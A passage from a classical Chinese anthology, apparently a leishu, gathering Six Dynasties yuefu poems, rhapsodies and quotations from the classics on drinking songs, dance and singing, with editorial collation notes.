悦 罗 襟 解 . 谁 念 发 成 丝 . 迨 余 听 歌 日 . 及 我 倾 樽 时 .\n梁 张 率 当 对 酒 曰 . 对 酒 诚 可 乐 . 此 酒 复 能 醇 . 如 华 良 可 贵 . 似 乳 更 非 珍 . 谁 能 共 迟 暮 . 对 酒 惜 芳 辰 . 君 歌 尚 未 罢 . 却 坐 避 梁 尘 .\n梁 柳 恽 独 不 见 曰 . 芳 草 生 未 积 . 春 花 落 如 霰 . 出 从 张 公 子 . 还 过 赵 飞 鷰 . 奉 帚 长 信 宫 . 谁 知 独 不 见 .\n梁 元 帝 关 山 月 曰 . 朝 望 清 波 道 . 夜 上 白 登 台 . 月 中 含 桂 树 . 流 影 自 徘 徊 . 寒 沙 逐 风 起 . 春 花 犯 雪 开 . 夜 长 无 与 晤 . 衣 单 谁 为 裁 .\n又 陇 头 水 歌 曰 . 衔 悲 别 陇 头 . 关 路 漫 悠 悠 . 故 乡 迷 远 近 . 征 人 分 去 留 . 沙 飞 晓 成 幕 . 海 气 旦 如 楼 . 欲 识 秦 川 处 . 陇 水 向 东 流 .\n梁 刘 孝 威 横 吹 曲 陇 头 流 水 诗 曰 . 从 军 戍 陇 头 . 陇 水 带 沙 流 . 时 观 胡 骑 饮 . 常 为 汉 国 羞 . 衅 妻 成 两 剑 . 杀 子 祠 双 钩 . 顿 取 楼 兰 颈 . 就 解 郅 支 裘 . 勿 令 如 李 广 . 功 遂 不 封 侯 .\n梁 简 文 帝 洛 阳 道 诗 曰 . 洛 阳 佳 丽 所 . 大 道 满 春 光 . 游 童 时 挟 弹 . 蚕 妾 始 提 筐 . 金 鞍 照 龙 马 . 罗 袖 拂 春 桑 . 王 车 争 晓 入 . 潘 ○ 原 讹 满 . 据 冯 校 本 改 . 果 溢 高 箱 .\n梁 元 帝 洛 阳 道 诗 曰 . 洛 阳 开 大 道 . 城 北 达 城 西 . 青 槐 随 幔 拂 . 绿 柳 逐 风 低 . 玉 珂 鸣 战 马 . 金 爪 斗 场 鸡 . 桑 萎 日 行 暮 . 多 逢 秦 氏 妻 .\n梁 元 帝 长 安 路 曰 . 前 登 灞 陵 岸 . 还 瞻 渭 水 流 . 城 形 类 南 斗 . 桥 势 似 牵 牛 . 飞 轩 与 良 驷 . 宝 剑 杂 轻 裘 . 经 过 狭 邪 里 . 日 暮 且 淹 留 .\n梁 庾 肩 吾 长 安 路 诗 曰 . 桂 宫 延 复 道 . 黄 山 开 广 路 . 远 听 平 陵 钟 . 遥 识 新 丰 树 . 日 落 唱 歌 还 . 尘 飞 车 马 度 .\n宋 鲍 昭 代 淮 南 王 曰 . 淮 南 王 . 好 长 生 . 服 药 炼 气 读 仙 经 . 琉 璃 药 碗 牙 作 盘 . 金 鼎 玉 匕 合 神 丹 . 合 神 丹 . 赐 紫 房 . 紫 房 彩 女 弄 明 珰 . 朱 城 九 围 外 . ○ 玉 台 新 九 作 朱 城 九 门 门 九 开 . 此 有 脱 文 . 愿 逐 明 月 入 君 怀 . 入 君 怀 . 结 君 佩 . 怨 君 恨 君 恃 君 爱 .\n宋 吴 迈 远 阳 春 曲 诗 曰 . 绿 树 摇 云 光 . 春 城 起 风 色 . 佳 人 爱 华 景 . 流 靡 园 塘 侧 . 宋 玉 歌 阳 春 . 巴 人 长 叹 息 . 生 重 爱 惠 轻 . 私 自 怜 何 极 .\n又 长 离 别 诗 曰 . 生 离 不 可 闻 . 况 复 长 相 思 . 如 何 与 君 别 . 当 我 盛 年 时 . 蕙 华 每 摇 荡 . 妾 心 空 自 持 .\n又 长 相 思 诗 曰 . 晨 有 远 道 客 . 依 依 造 门 端 . 人 马 风 尘 色 . 知 从 关 塞 还 . 烦 君 尺 锦 书 . 寸 心 从 此 殚 . 道 妾 长 憔 悴 . 无 复 歌 笑 颜 . 栏 隐 千 霜 树 . 庭 枯 十 年 兰 . 经 春 不 举 袖 . 秋 落 宁 复 看 .\n梁 张 率 长 相 思 诗 曰 . 长 相 思 . 久 离 别 . 美 人 之 远 如 雨 绝 . 独 延 伫 . 心 中 结 . 望 云 去 去 远 . 望 鸟 飞 飞 灭 . 长 相 思 . 久 别 离 . 所 思 所 在 若 天 垂 . 郁 郁 相 望 不 得 知 . 玉 阶 月 夕 映 . 罗 帷 风 夜 吹 . 长 思 不 能 寝 . 坐 望 天 河 移 .\n梁 简 文 帝 乌 栖 曲 曰 . 芙 蓉 作 船 丝 作 ● . 北 斗 横 天 月 将 落 . 采 桑 渡 头 碍 黄 河 . 郎 今 欲 度 畏 风 波 .\n又 曰 . 浮 云 似 帐 月 如 钩 . 那 能 夜 夜 南 陌 游 . 宜 城 投 酒 今 行 熟 . 停 鞍 系 马 暂 栖 宿 .\n又 曰 . 青 牛 丹 毂 七 香 车 . 可 怜 今 夜 宿 娼 家 . 娼 家 高 树 乌 欲 栖 . 罗 帷 翠 帐 向 君 低 .\n又 曰 . 织 成 屏 风 银 屈 膝 . 朱 唇 玉 面 灯 前 出 . 相 看 气 息 望 君 怜 . 谁 能 含 羞 不 自 前 .\n梁 元 帝 乌 栖 曲 曰 . 沙 棠 作 船 桂 为 楫 . 夜 渡 江 南 采 莲 叶 . 复 值 西 施 新 浣 纱 . 共 泛 江 干 瞻 月 华 .\n又 曰 . 月 华 似 璧 星 如 佩 . 流 影 澄 明 玉 堂 内 . 邯 郸 九 投 朝 始 成 . 金 卮 银 碗 共 君 倾 .\n又 曰 . 交 龙 成 锦 斗 凤 纹 . 芙 蓉 为 带 石 榴 裙 . 日 下 城 南 两 相 望 . 月 没 参 横 掩 罗 帐 .\n又 曰 . 七 彩 随 珠 九 华 玉 . 蛱 蝶 为 歌 明 星 曲 . 兰 房 椒 合 夜 方 开 . 那 知 步 步 香 风 逐 .\n梁 萧 子 显 乌 栖 曲 曰 . 浓 黛 轻 红 点 花 色 . 还 欲 令 人 不 相 识 . 金 壶 夜 永 谁 能 过 . 莫 持 奢 用 比 悬 河 .\n又 曰 . 芳 树 归 飞 聚 俦 匹 . 犹 有 残 光 半 山 日 . 莫 惮 褰 裳 不 相 求 . 汉 皋 游 女 习 风 流 .\n梁 简 文 帝 龙 笛 曲 曰 . 江 真 弄 真 态 . 翔 凤 阳 春 台 . 同 去 复 同 来 .\n梁 柳 恽 江 南 曲 曰 . 汀 洲 采 白 苹 . 日 落 江 南 春 . 洞 庭 有 归 客 . 潇 湘 逢 故 人 . 故 人 久 不 返 . 春 华 复 应 晚 . 不 道 新 知 乐 . 空 言 行 路 远 .\n梁 吴 筠 携 手 曲 曰 . 艳 裔 阳 之 春 . 携 手 清 洛 滨 . 鸡 鸣 上 林 苑 . 薄 暮 小 平 津 . 长 裾 扫 白 日 . 广 袖 带 芳 尘 . 故 友 一 如 此 . 新 知 讵 忆 人 .\n梁 沈 约 夜 夜 曲 曰 . 河 汉 纵 复 横 . 北 斗 横 复 直 . 星 汉 空 如 此 . 宁 知 心 所 忆 . 孤 灯 暧 不 明 . 寒 机 犹 更 织 . 零 涕 向 谁 道 . 鸡 鸣 徒 叹 息 .\n梁 江 洪 渌 ○ 原 作 绿 . 据 冯 校 本 改 . 水 曲 曰 . 潺 湲 复 皎 洁 . 轻 鲜 尚 可 悦 . 横 使 有 情 禽 . 照 影 遂 孤 绝 .\n又 曰 . 尘 客 不 忍 饰 . 临 池 思 客 归 . 谁 知 取 渌 水 . 无 趣 浣 罗 衣 .\n又 秋 风 曲 曰 . 光 拂 连 云 台 . 罢 入 迎 銮 殿 . 已 折 池 中 荷 . 复 驰 檐 里 鷰 .\n又 胡 笳 曲 曰 . 藏 器 欲 邀 时 . 年 来 不 相 让 . 红 颜 征 戍 儿 . 白 首 边 城 将 .\n又 曰 . 落 日 惨 无 光 . 临 河 独 饮 马 . 瑟 飒 夕 风 高 . 联 翩 雁 飞 下 .\n宋 吴 迈 远 秋 风 曲 曰 . 寒 乡 无 异 服 . 衣 毡 代 文 练 . 月 月 望 君 归 . 年 年 不 解 线 . 荆 杨 早 春 和 . 幽 冀 犹 霜 霰 . 地 寒 妾 已 知 . 南 心 君 不 见 .\n又 胡 笳 曲 曰 . 轻 命 重 意 气 . 古 来 岂 但 今 . 缓 颊 献 一 说 . 扬 眉 受 千 金 . 边 风 落 寒 草 . 鸣 笳 坠 飞 禽 . 越 情 结 楚 思 . 汉 耳 听 胡 音 . 既 怀 离 俗 伤 . 复 悲 朝 光 侵 . 日 当 故 乡 没 . 遥 见 浮 云 阴 .\n梁 吴 筠 秦 王 卷 衣 曲 曰 . 咸 阳 春 草 芳 . 秦 帝 卷 衣 裳 . 玉 检 茱 萸 匣 . 金 泥 苏 合 香 . 须 臾 朝 宴 罢 . 持 此 赠 华 阳 .\n梁 刘 孝 绰 赋 得 乌 夜 啼 诗 曰 . 鹍 弦 且 辍 弄 . 鹤 操 暂 停 挥 . 别 有 啼 乌 曲 . 东 西 各 自 飞 . 倡 人 怨 独 守 . 荡 子 犹 未 归 . 忽 闻 生 离 唱 . 中 夜 泣 罗 衣 . 周 庾 信 乌 夜 啼 曲 曰 . 促 柱 繁 弦 非 子 夜 . 歌 声 舞 态 异 前 溪 . 御 史 府 中 何 处 宿 . 洛 阳 城 头 那 得 栖 . 弹 琴 蜀 郡 卓 家 女 . 织 锦 秦 川 窦 氏 妻 . 讵 不 自 惊 长 泪 落 . 到 道 啼 乌 恒 夜 啼 .\n又 曰 . 桂 树 悬 知 远 . 风 竿 讵 肯 低 . 独 来 明 月 夜 . 孤 情 犹 未 栖 . 虎 贲 谁 见 惜 . 御 史 讵 相 携 . 虽 言 入 弦 管 . 终 是 曲 中 啼 .\n晋 石 崇 明 君 辞 曰 . 王 明 君 者 . 本 为 王 昭 君 . 以 触 文 帝 讳 改 之 . 匈 奴 盛 . 请 婚 于 汉 . 元 帝 以 明 君 配 焉 . 昔 公 主 嫁 乌 孙 . 令 琵 琶 马 上 作 乐 . 以 慰 其 道 路 之 思 . 其 送 明 君 . 亦 必 尔 也 . 诗 曰 . 我 本 汉 家 子 . 将 适 单 于 庭 . 辞 诀 未 及 终 . 前 驱 已 抗 旌 . 仆 御 涕 流 离 . 辕 马 悲 且 鸣 . 行 行 日 已 远 . 遂 造 匈 奴 城 . 延 我 于 穹 庐 . 加 我 阏 氏 名 . 杀 身 良 不 易 . 默 默 以 苟 生 . 愿 假 飞 鸿 翼 . 弃 ○ 文 选 二 十 七 作 乘 . 之 以 遐 征 . 昔 为 匣 中 琴 . 今 为 粪 上 英 . 朝 华 不 足 欢 . 甘 与 秋 草 并 . 传 语 后 世 人 . 远 嫁 难 为 情 .\n梁 沈 约 昭 君 辞 曰 . 朝 发 披 香 殿 . 夕 济 汾 阴 河 . 于 兹 怀 九 折 . 自 此 敛 双 蛾 . 沾 妆 如 湛 露 . 绕 脸 状 流 波 . 日 见 奔 沙 起 . 稍 觉 转 蓬 多 . 唯 有 三 五 夜 . 明 月 暂 经 过 .\n魏 陈 王 曹 植 箜 篌 引 曰 . 置 酒 高 殿 上 . 亲 友 从 我 游 . 中 厨 辨 丰 膳 . 烹 羊 宰 肥 牛 . 秦 筝 何 慷 恺 . 齐 瑟 和 且 柔 . 阳 阿 奏 妙 舞 . 京 洛 出 名 讴 . 乐 饮 过 三 爵 . 缓 带 倾 庶 羞 . 主 称 千 金 寿 . 宾 奉 万 年 酬 . 惊 风 飘 白 日 . 光 景 驰 西 流 . 盛 时 不 再 来 . 百 年 忽 我 忧 . 生 存 华 屋 处 . 零 落 归 山 丘 .\n晋 石 崇 思 归 引 曰 . 思 归 引 . 归 河 阳 . 假 余 翼 . 鸿 鹤 高 飞 翔 . 经 芸 阜 . 济 河 梁 . 望 我 旧 馆 心 悦 康 . 清 渠 缴 . 鱼 仿 徨 . 雁 惊 溯 波 群 相 将 . 终 日 周 览 乐 无 方 . 登 云 阁 . 列 姬 姜 . 拊 丝 竹 . 叩 宫 商 . 宴 华 池 . 酌 玉 觞 .\n梁 简 文 帝 江 南 曲 曰 . 阳 春 路 . 时 使 佳 人 度 . 枝 中 水 上 春 并 归 . 长 杨 扫 地 桃 花 飞 . 清 风 吹 人 光 照 衣 . 光 照 衣 . 景 将 夕 . 掷 黄 金 . 留 上 客 .\n梁 沈 约 江 南 行 阳 春 曲 曰 . 杨 柳 至 地 鷰 差 池 . 缄 情 忍 思 落 容 仪 . 弦 伤 曲 怨 心 自 知 . 心 自 知 . 人 不 见 . 动 罗 裙 . 拂 珠 殿 .\n朝 云 曲 曰 . 阳 台 氛 氲 多 异 色 . 巫 山 高 高 上 无 极 . 云 来 雨 去 长 不 息 . 长 不 息 . 梦 来 游 . 经 万 世 . 度 千 秋 .\n梁 简 文 帝 悲 楚 妃 叹 曰 . 闺 闲 漏 永 永 . 漏 长 宵 寂 寂 . 草 萤 飞 夜 户 . 丝 虫 绕 秋 壁 . 薄 笑 未 为 欣 . 微 叹 还 成 戚 . 金 簪 鬓 下 垂 . 玉 衣 前 滴 .\n宋 孝 武 帝 夜 听 妓 诗 曰 . 寒 夜 起 声 管 . 促 席 引 灵 寄 . 深 心 属 悲 弦 . 远 情 逐 流 吹 . 劳 衿 凭 苦 辰 . 谁 谓 怀 忘 易 .\n梁 简 文 帝 听 夜 妓 诗 曰 . 合 欢 蠲 忿 叶 . 萱 草 忘 忧 条 . 何 如 明 月 夜 . 流 风 拂 舞 腰 . 朱 唇 随 吹 尽 . 玉 钏 逐 弦 摇 . 留 宾 惜 残 弄 . 负 态 动 余 娇 .\n梁 元 帝 春 夜 看 妓 诗 曰 . 蛾 眉 渐 成 光 . 燕 姬 戏 小 堂 . 胡 舞 开 春 合 . 铃 盘 出 步 廊 . 起 龙 调 节 奏 . 却 凤 点 笙 篁 . 树 交 临 舞 席 . 荷 生 夹 妓 行 . 竹 密 无 分 影 . 花 疏 有 异 香 . 举 杯 聊 转 笑 . 叹 兹 乐 未 央 .\n梁 何 逊 咏 妓 诗 曰 . 管 随 罗 荐 合 . 丝 惊 雪 袖 迟 . 逐 唱 回 纤 手 . 听 曲 动 蛾 眉 . 凝 情 顾 眄 堕 . 微 睇 托 含 辞 . 日 暮 留 佳 客 . 相 看 爱 此 时 .\n周 庾 信 看 妓 诗 曰 . 绿 珠 歌 扇 薄 . 飞 鷰 舞 袖 长 . 琴 曲 随 流 水 . 箫 声 逐 凤 皇 . 细 茞 缠 钟 板 . 圆 花 钉 鼓 床 . 悬 知 曲 不 误 . 无 事 顾 周 郎 .\n陈 刘 删 侯 司 空 第 山 园 咏 妓 诗 曰 . 石 家 金 谷 妓 . 妆 罢 出 兰 闺 . 看 花 争 欲 笑 . 闻 瑟 似 能 啼 . 山 边 歌 落 日 . 池 上 舞 前 溪 . 持 人 当 桃 李 . 无 处 不 成 蹊 .\n陈 阴 铿 侯 司 空 第 山 园 咏 妓 诗 曰 . 佳 人 遍 绮 席 . 妙 曲 动 鹍 弦 . 楼 似 阳 台 上 . 池 如 洛 水 边 . 莺 啼 歌 扇 后 . 花 落 舞 衫 前 . 翠 柳 将 斜 日 . 俱 照 晚 妆 鲜 .\n陈 萧 琳 隔 壁 听 妓 诗 曰 . 徒 闻 弦 管 切 . 不 见 舞 腰 回 . 唯 有 歌 梁 共 . 尘 飞 一 半 来 .\n隋 卢 思 道 夜 闻 邻 妓 诗 曰 . 娼 楼 对 三 道 . 吹 台 临 九 重 . 笙 随 山 上 鹤 . 笛 奏 水 中 龙 . 谁 能 暂 眉 各 . ○ 句 有 讹 . 解 佩 一 相 从 .\n【 论 】 晋 阮 籍 乐 论 曰 . 昔 者 圣 人 之 作 乐 也 . 将 以 顺 天\n地 之 性 . 体 万 物 之 生 也 . 故 定 天 地 八 方 之 音 . 以 迎 阴 阳\n八 风 之 声 . 故 律 吕 协 则 阴 阳 和 . 音 声 适 而 万 物 类 . 奏 之\n圆 丘 . 而 天 神 下 降 . 肆 之 方 岳 . 而 地 祇 上 应 . 天 地 合 其\n德 . 则 万 物 合 其 生 . 刑 赏 不 用 而 民 自 安 . 车 服 旌 旗 . 宫\n室 饮 食 . 礼 之 具 也 . 钟 磬 鞞 鼓 琴 瑟 . 乐 之 器 也 . 礼 逾 其\n制 则 尊 卑 乖 . 乐 失 其 序 则 亲 疏 乱 . 礼 定 其 众 . 乐 平 其 心\n. 礼 治 其 外 . 乐 化 其 内 . 故 清 庙 之 歌 . 咏 成 功 之 绩 . 宾\n飨 之 诗 . 称 礼 让 之 则 . 百 姓 化 其 善 . 异 俗 服 其 德 也 .\n尚 书 曰 . 苗 民 逆 命 . 帝 乃 诞 敷 文 德 . 舞 干 羽 于 两 阶 . 七 旬 有 苗 格 .\n乐 纬 曰 . 武 王 承 命 兴 师 . 渡 盟 津 . 前 歌 后 舞 .\n周 官 曰 . 乐 师 掌 教 国 子 六 舞 . 凡 舞 有 帗 舞 . 有 羽 舞 . 有 旄 舞 . 有 干 舞 .\n礼 记 曰 . 治 民 劳 者 . 舞 行 缀 远 . 治 民 逸 者 . 舞 行 缀 短 . 故 观 其 舞 . 知 其 德 . 民 德 薄 . 故 舞 劳 人 少 .\n又 曰 . 以 禘 礼 祀 周 公 于 太 庙 . 朱 干 玉 戚 . 冕 而 舞 大 武 .\n毛 诗 曰 . 舍 其 坐 迁 . 屡 舞 仙 仙 . 侧 弁 之 俄 . 屡 舞 傞 傞 .\n左 传 曰 . 考 仲 子 之 宫 . 将 万 焉 . 公 问 羽 数 于 众 仲 . 对 曰 . 天 子 用 八 . 诸 侯 用 六 . 大 夫 四 . 士 二 . 夫 舞 . 所 以 节 八 音 而 行 八 风 也 .\n楚 辞 曰 . 二 八 齐 容 起 郑 舞 . 衽 若 交 竽 抚 案 下 .\n又 曰 . 翾 飞 兮 翠 曾 . 曾 . 舞 也 . 言 舞 工 巧 似 翠 鸟 之 举 . 展 诗 兮 会 舞 .\n韩 子 曰 . 长 袖 善 舞 . 多 钱 善 贾 .\n淮 南 子 曰 . 今 鼓 舞 者 . 身 若 秋 药 被 风 . 药 . 白 芷 也 . 被 风 言 其 弱 也 .\n汉 书 曰 . 孝 武 李 夫 人 . 本 以 倡 进 . 兄 延 年 . 知 音 善 歌 舞 . 延 年 侍 上 起 舞 . 歌 曰 . 北 方 有 佳 人 . 绝 世 而 独 立 . 一 顾 倾 人 城 . 再 顾 倾 人 国 . 宁 不 知 倾 国 与 ○ 原 坏 作 ● . 据 冯 校 本 改 . 倾 城 . 佳 人 难 再 得 . 平 阳 公 主 因 言 延 年 女 弟 . 上 召 见 . 实 妙 丽 善 舞 . 由 是 幸 . 生 昌 邑 哀 王 .\n又 曰 . 高 祖 庙 奏 武 德 文 始 五 行 之 舞 . 武 德 者 . 象 天 下 乐 己 行 武 以 除 乱 也 . 文 始 者 . 本 舜 韶 舞 也 . 高 祖 更 名 曰 文 始 . 示 不 相 袭 .\n范 晔 后 汉 书 曰 . 蔡 邕 坐 上 章 事 徙 . 及 归 . 将 就 还 路 . 五 原 太 守 王 智 饯 之 . 酒 酣 . 智 起 舞 . 属 邕 . 邕 不 为 报 . 智 者 中 常 侍 王 甫 之 弟 . 智 衔 之 . 密 告 邕 . 怨 于 囚 放 . 谤 讪 朝 廷 . 邕 虑 卒 不 免 祸 . 乃 亡 命 江 海 . 远 迹 吴 会 .\n吕 氏 春 秋 曰 . 陶 唐 氏 之 始 . 阴 多 滞 伏 . 民 气 壅 阏 . 故 为 作 舞 . 以 宣 导 之 .\n家 语 曰 . 子 路 戎 服 见 孔 子 . 拔 剑 而 舞 曰 . 古 之 君 子 . 固 以 剑 自 卫 乎 . 孔 子 曰 . 古 之 君 子 . 忠 以 为 质 . 仁 以 为 卫 .\n蔡 邕 月 令 章 句 曰 . 乐 容 曰 舞 . 有 俯 仰 张 翕 . 行 缀 长 短 之 制 .\n三 巴 记 曰 . 阆 中 有 渝 水 . 賨 民 锐 气 喜 舞 . 高 祖 乐 其 猛 锐 . 数 观 其 舞 . 使 乐 人 习 之 . 故 名 巴 渝 舞 .\n魏 名 臣 奏 . 王 朗 表 曰 . 凡 音 乐 以 舞 为 主 . 自 黄 帝 云 门 . 至 周 大 武 . 皆 大 庙 舞 乐 名 也 . 乐 所 以 乐 君 之 德 . 舞 所 以 象 君 之 功 .\n吴 书 曰 . 陶 谦 为 舒 令 . 郡 守 张 磐 . 耻 为 之 下 . 磐 舞 . 属 谦 . 谦 不 为 起 . 强 之 乃 舞 . 舞 不 转 . 磐 曰 . 不 当 转 耶 . 曰 . 转 则 胜 人 .\n又 曰 . 陆 逊 破 曹 休 . 上 与 群 僚 大 会 . 酒 酣 . 命 逊 舞 . 解 所 着 白 鼯 子 裘 赐 之 .\n【 诗 】 宋 南 平 王 白 纻 舞 曲 曰 . 仙 仙 徐 动 何 盈 盈 . 玉 腕 俱 凝 若 云 行 . 佳 人 举 袖 曜 青 蛾 . 掺 掺 擢 手 映 鲜 罗 . 状 似 明 月 泛 云 河 . 体 如 轻 风 动 流 波 .\n梁 简 文 帝 咏 舞 诗 曰 . 娇 情 因 曲 动 . 弱 步 逐 风 吹 . 悬 钗 随 舞 落 . 飞 袖 低 鬟 垂 .\n又 咏 舞 诗 曰 . 戚 里 多 妖 丽 . 重 娉 蔑 燕 余 . 逐 节 工 新 舞 . 娇 态 似 凌 虚 . 纳 内 音 . 花 承 概 . 垂 翠 逐 珰 舒 . 扇 开 衫 影 乱 . 巾 度 履 行 疏 . 徒 劳 交 甫 忆 . 自 有 专 城 居 .\n又 咏 舞 诗 曰 . 可 怜 称 二 八 . 逐 节 似 飞 鸿 . 悬 胜 河 阳 伎 . 闇 与 淮 南 同 . 入 行 看 履 进 . 转 面 望 鬟 空 . 腕 动 苕 华 玉 . 衫 随 如 意 风 . 上 客 何 须 起 . 啼 乌 未 肯 终 .\n梁 刘 遵 应 令 咏 舞 诗 曰 . 倡 女 多 艳 色 . 入 选 尽 华 年 . 举 腕 嫌 衫 重 . 回 腰 觉 态 妍 . 情 绕 阳 春 吹 . 影 逐 相 思 弦 . 履 度 开 裙 . 鬓 转 匝 花 钿 . 所 愁 余 曲 罢 . 为 欲 在 君 前 .\n梁 王 训 应 令 咏 舞 诗 曰 . 新 妆 本 绝 世 . 妙 舞 亦 如 仙 . 倾 腰 逐 韵 管 . 敛 色 听 张 弦 . 袖 轻 风 易 入 . 钗 重 步 难 前 . 笑 态 千 金 动 . 衣 香 十 里 传 . 将 持 比 飞 鷰 . 定 当 谁 可 怜 .\n梁 杨 曒 咏 舞 诗 曰 . 红 颜 自 燕 赵 . 妙 妓 迈 阳 阿 . 就 行 齐 逐 唱 . 赴 节 闇 相 和 . 折 腰 送 余 曲 . 敛 袖 待 新 歌 . 颦 容 生 翠 羽 . 曼 睇 出 横 波 . 虽 称 赵 飞 鷰 . 比 此 讵 成 多 .\n梁 庾 肩 吾 咏 舞 诗 曰 . 飞 鸟 袖 始 拂 . 啼 乌 曲 未 终 . 聊 因 断 续 唱 . 试 托 往 还 风 .\n梁 刘 孝 仪 和 舞 诗 曰 . 回 履 裾 香 散 . 飘 衫 钏 响 传 . 低 钗 依 促 管 . 曼 睇 入 繁 弦 .\n又 和 诗 曰 . 转 袖 随 歌 发 . 顿 履 赴 弦 余 . 度 行 过 接 手 . 回 身 乍 敛 裾 .\n又 舞 就 行 诗 曰 . 依 歌 移 弱 步 . 傍 烛 艳 新 妆 . 徐 来 翻 应 节 . 乱 去 反 成 行 .\n周 庾 信 咏 舞 诗 曰 . 洞 房 花 烛 明 . 燕 余 双 舞 轻 . 顿 履 疏 随 节 . 低 鬟 逐 上 声 . 步 转 行 初 进 . 衫 飘 曲 未 成 . 鸾 回 镜 欲 满 . 鹤 顾 市 应 倾 . 已 曾 天 上 学 . 讵 是 世 中 生 .\n陈 徐 陵 咏 舞 诗 曰 . 十 五 属 平 阳 . 因 来 入 建 章 . 主 家 能 教 舞 . 城 中 巧 旦 ○ 原 作 且 . 据 冯 校 本 改 . 妆 . 低 鬟 向 绮 席 . 举 袖 拂 花 黄 . 烛 送 空 回 影 . 衫 传 箧 里 香 . 当 由 好 留 客 . 故 作 舞 衣 长 .\n【 赋 】 后 汉 傅 毅 舞 赋 曰 . 楚 襄 王 既 游 云 梦 . 将 置 酒 宴 饮 . 谓 宋 玉 曰 . 寡 人 欲 觞 群 臣 . 何 以 娱 之 . 玉 曰 . 臣 闻 激 楚 结 风 阳 阿 之 舞 . 材 人 之 穷 观 . 天 下 之 至 妙 . 噫 可 进 乎 . 王 曰 . 试 为 寡 人 赋 之 . 玉 曰 . 唯 唯 . 郑 女 出 进 . 二 八 徐 侍 . 姣 服 极 丽 . 姁 偷 致 态 . 貌 嫽 妙 以 妖 冶 . 红 颜 烨 其 杨 华 . 眉 娟 以 增 绕 . 目 流 睇 而 横 波 . 珠 翠 的 皪 而 照 曜 . 华 褂 飞 髾 而 杂 纤 罗 . 顾 形 影 . 自 整 装 . 顺 微 风 . 挥 若 芳 . 动 朱 唇 . 纡 清 阳 . 亢 音 高 歌 . 为 乐 之 方 . 其 始 兴 也 . 若 俯 若 仰 . 若 来 若 往 . 雍 容 惆 怅 . 不 可 为 象 . 罗 衣 从 风 . 长 袖 交 横 . 骆 驿 飞 散 . 飒 遝 合 并 . 绰 约 闲 靡 . 机 迅 体 轻 . 于 是 合 场 递 进 . 安 步 而 俟 . 埒 材 角 妙 . 夸 容 乃 理 . 轶 态 横 出 . 瑰 姿 谲 起 . 回 身 还 入 . 迫 于 急 节 . 纡 形 赴 远 . 漼 以 摧 折 . 纤 縠 俄 飞 . 缤 焱 若 绝 . 体 如 游 龙 . 袖 如 素 蜺 . 迁 延 微 笑 . 退 复 次 列 . 观 者 称 丽 . 莫 不 怡 悦 .\n后 汉 张 衡 舞 赋 曰 . 昔 客 有 观 舞 于 淮 南 者 . 美 而 赋 之 曰 . 音 乐 陈 兮 旨 酒 施 . 击 ● 鼓 兮 吹 参 差 . 叛 淫 衍 兮 漫 陆 离 . 于 是 饮 者 皆 醉 . 日 亦 既 昃 . 美 人 兴 而 将 舞 . 乃 脩 容 而 改 袭 . 服 罗 縠 之 杂 错 . 申 绸 缪 以 自 饰 . 拊 者 啾 其 齐 列 . 盘 鼓 焕 以 骈 罗 . 抗 脩 袖 以 翳 面 兮 . 展 清 声 而 长 歌 . 歌 曰 . 惊 雄 逝 兮 孤 雌 翔 . 临 归 风 兮 思 故 乡 . 搦 纤 腰 而 互 折 . 嬛 倾 倚 兮 低 昂 . 增 芙 蓉 之 红 花 兮 . 光 的 皪 以 发 扬 . 腾 ● 目 以 顾 眄 . 盼 烂 烂 以 流 光 . 连 翩 骆 驿 . 乍 续 乍 绝 . 裾 似 飞 鷰 . 袖 如 回 雪 . 于 是 粉 黛 施 兮 玉 质 粲 . 珠 簪 挺 兮 缁 发 乱 . 然 后 整 笄 揽 发 . 被 纤 垂 萦 . 同 服 骈 奏 . 合 体 齐 声 . 进 退 无 差 . 若 影 追 形 .\n梁 简 文 帝 舞 赋 曰 . 酌 蒲 桃 . 坐 柘 观 . 命 妙 舞 . 征 清 弹\n. 发 初 笄 . 参 差 俱 集 . 信 身 轻 而 钗 重 . 亦 腰 羸 而 带 急\n. 响 玉 砌 而 迟 前 . 度 金 扉 而 斜 入 . 似 断 霞 之 照 彩 . 若 飞\n鸾 之 相 及 . 既 相 看 而 绵 视 . 亦 含 姿 而 俱 立 . 于 是 徐 鸣 娇\n节 . 薄 动 轻 金 . 奏 巴 渝 之 丽 曲 . 唱 碣 石 之 清 音 . 扇 才 移\n而 动 步 . 鞞 轻 宣 而 逐 吟 . 尔 乃 优 游 容 豫 . 顾 眄 徘 徊 . 强\n纡 颜 而 失 笑 . 乍 杂 怨 而 成 猜 . 或 低 昂 而 失 侣 . 乃 归 飞 而\n相 附 . 或 前 异 而 始 同 . 乍 初 离 而 后 赴 . 不 迟 不 疾 . 若 轻\n若 重 . 盻 鼓 微 吟 . 回 巾 自 拥 . 发 乱 难 持 . 簪 低 易 捧 . 牵\n恃 其 思 . 怀 娇 知 宠 .\n蔡 邕 月 令 章 句 曰 . 乐 声 曰 歌 .\n山 海 经 曰 . 帝 俊 八 子 . 是 始 为 歌 . 帝 俊 . 帝 舜 也 .\n又 曰 . 夏 后 氏 开 . 上 三 嫔 于 天 . 得 九 辩 与 九 ○ 太 平 御 览 五 百 七 十 二 . 九 下 有 歌 字 . 以 下 .\n毛 诗 序 曰 . 情 动 于 中 而 形 于 言 . 言 之 不 足 . 故 嗟 叹 之 . 嗟 叹 之 不 足 . 故 咏 歌 之 .\n穆 天 子 传 曰 . 天 子 东 游 于 黄 泽 . 宿 于 曲 洛 . 洛 水 之 曲 也 . 使 宫 乐 谣 宫 乐 . 典 乐 者 . 曰 . 黄 之 阤 . 其 马 歕 沙 . 音 普 问 反 . 黄 之 泽 . 其 马 歕 玉 .\n列 子 曰 . 薛 谈 学 讴 于 秦 青 . 未 穷 青 之 伎 . 自 谓 尽 之 . 遂 辞 归 . 秦 青 弗 止 . 饯 于 交 衢 拊 节 悲 歌 . 声 震 林 木 . 响 遏 行 云 . 薛 谈 乃 谢 求 反 . 终 身 不 敢 言 归 . 秦 青 顾 其 友 曰 . 昔 韩 娥 东 之 齐 . 匮 粮 . 过 雍 门 . 鬻 歌 假 食 . 既 去 . 余 响 绕 梁 . 三 日 不 绝 .\n孟 子 曰 . 昔 王 豹 处 于 淇 . 而 河 西 善 讴 . 绵 驹 处 于 高 唐 . 而 齐 右 善 歌 .\n襄 阳 耆 旧 传 曰 . 宋 玉 识 音 而 善 文 . 襄 王 好 乐 而 爱 赋 . 既 美 其 才 . 而 憎 其 似 屈 原 也 . 乃 谓 之 曰 . 子 盍 从 楚 之 俗 . 使 楚 人 贵 子 之 德 乎 . 对 曰 . 昔 楚 有 善 歌 者 . 王 其 闻 与 . 始 而 曰 下 里 巴 人 . 国 中 唱 而 和 之 者 数 万 